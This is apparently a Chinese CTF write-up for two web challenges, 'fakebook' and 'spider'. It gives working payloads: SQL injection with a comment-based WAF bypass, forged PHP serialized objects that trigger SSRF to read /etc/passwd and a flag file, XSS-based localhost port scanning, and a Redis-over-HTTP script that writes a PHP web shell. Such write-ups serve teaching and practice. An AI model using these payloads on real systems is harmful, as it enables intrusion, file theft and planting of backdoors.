一bin神带两web狗,哭哭
web2 fakebook
扫目录发现robots.txt, 根据提示找到user.php.bak。 发现存在ssrf漏洞, 但是有限制只能使用http协议
继续测试, 发现view.php?no=
存在sql注入, 有waf但是过滤不严格构造以下payload完成注入
/view.php?no=-1 union/*wqer*/select 1,(select database()),3,4
数据库结构如下
1
2
3
| database: fakebook
table: users
columns: no,username,passwd,data |
继续注入发现data字段储存了很标准的php序列化内容O:8:"UserInfo":3:{s:4:"name";s:4:"qwer";s:3:"age";i:22;s:4:"blog";s:13:"www.baidu.com";}
再通过此前注入时看到的unserialize错误, 判断view.php有反序列化功能, 构造如下payload成功触发ssrf
1
2
3
| /view.php?no=-1 union/*qqqq*/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"qwer";s:3:"age";i:22;s:4:"blog";s:18:"file:///etc/passwd";}'
-- 读取flag的payload
/view.php?no=-1 union/*ss*/select 1,'qwer','3','O:8:"UserInfo":3:{s:4:"name";s:4:"qwer";s:3:"age";i:22;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' |
将网页上的base64解码得到flag
web1 spider
0 solved
hint: 动态爬虫,Redis Getshell。8000端口存在apache2
访问robots.txt,发现/get_sourcecode
,访问提示必须127.0.0.1,伪造ip无果,借助xss
1
2
3
4
5
6
7
8
9
10
11
12
| <script>
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById('a').innerHTML = xmlhttp.responseText;
}
}
xmlhttp.open("GET","/get_sourcecode",true);
xmlhttp.send("");
</script>
|
获得源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
| #!/usr/bin/env python
# -*- encoding: utf-8 -*-
from flask import Flask, request
from flask import render_template
import os
import uuid
import tempfile
import subprocess
import time
import json
app = Flask(__name__ , static_url_path='')
def proc_shell(cmd):
out_temp = tempfile.SpooledTemporaryFile(bufsize=1000*1000)
fileno = out_temp.fileno()
proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False)
start_time = time.time()
while True:
if proc.poll() == None:
if time.time() - start_time > 30:
proc.terminate()
proc.kill()
proc.communicate()
out_temp.seek(0)
out_temp.close()
return
else:
time.sleep(1)
else:
proc.communicate()
out_temp.seek(0)
data = out_temp.read()
out_temp.close()
return data
def casperjs_html(url):
cmd = 'casperjs {0} --ignore-ssl-errors=yes --url={1}'.format(os.path.dirname(__file__) + '/casper/casp.js' ,url)
cmd = cmd.split(' ')
stdout = proc_shell(cmd)
try:
result = json.loads(stdout)
links = result.get('resourceRequestUrls')
return links
except Exception, e:
return []
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
else:
f = request.files['file']
filename = str(uuid.uuid1()) + '.html'
basepath = os.path.dirname(__file__)
upload_path = os.path.join(basepath, 'static/upload/', filename)
content = f.read()
#hint
if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
return render_template('index.html', msg=u'Warning: 发现恶意关键字')
#hint
with open(upload_path, 'w') as f:
f.write(content)
url = 'http://127.0.0.1:80/upload/'+filename
links = casperjs_html(url)
links = '\n'.join(links)
if not links:
links = 'NULL'
links = 'URL: '+url+'\n'+links
return render_template('index.html', links=links)
@app.route('/get_sourcecode', methods=['GET', 'POST'])
def get_code():
if request.method == 'GET':
ip = request.remote_addr
if ip != '127.0.0.1':
return 'NOT 127.0.0.1'
else:
with open(os.path.dirname(__file__)+'/run.py') as f:
code = f.read()
return code
else:
return ''
@app.errorhandler(404)
def page_not_found(error):
return '404'
@app.errorhandler(500)
def internal_server_error(error):
return '500'
@app.errorhandler(403)
def unauthorized(error):
return '403'
if __name__ == '__main__':
pass
|
比赛时就到这里为止了,hint放出来的时候去请求8000和6379端口也没回显,下面就是官方wp时间
端口探测
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| <a id="result"></a>
<script>
var data = document.getElementById('result').innerHTML;
var TagName = document.getElementsByTagName("body")[0];
ports=[80,81,88,8000,8080,8088];
for(var i in ports){
var script = document.createElement("script");
poc = "data += '" + ports[i] + " OPEN; '; document.getElementById('result').innerHTML = data;"
script.setAttribute("src","http://127.0.0.1:" + ports[i]);
script.setAttribute("onload", poc);
TagName.appendChild(script);
}
</script>
|
添加onload事件,如果端口存活就添加到a标签的innerHtml中,探测出80和8000端口存活
再根据hint给的apache2,猜测是个phpserver,于是利用redis写shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| level=low_273eac1c
<script>
var xmlHttp;
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}else{
xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}
var formData = new FormData();
formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"configsetdbfilename shell.php"+"\n"+'set 1 "\\n\\n<?php header(\'Access-Control-Allow-Origin:*\'); echo file_get_contents($_GET[0]);?>\\n\\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://127.0.0.1:6379",true);
xmlHttp.send(formData);
</script>
|
因为涉及到跨域,所以加个Access-Control-Allow-Origin:*
头
至于为什么redis能接受html的post请求就不多说了,参考以下链接
https://wps2015.org/drops/drops/Trying%20to%20hack%20Redis%20via%20HTTP%20requests.html
https://juejin.im/entry/58941a10128fe1006c9fdd59
最后访问shell.php获得flag.php内容
1
2
3
4
5
6
7
8
9
10
11
12
| <script>
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById('a').innerHTML = xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?0=flag.php",true);
xmlhttp.send("");
</script>
|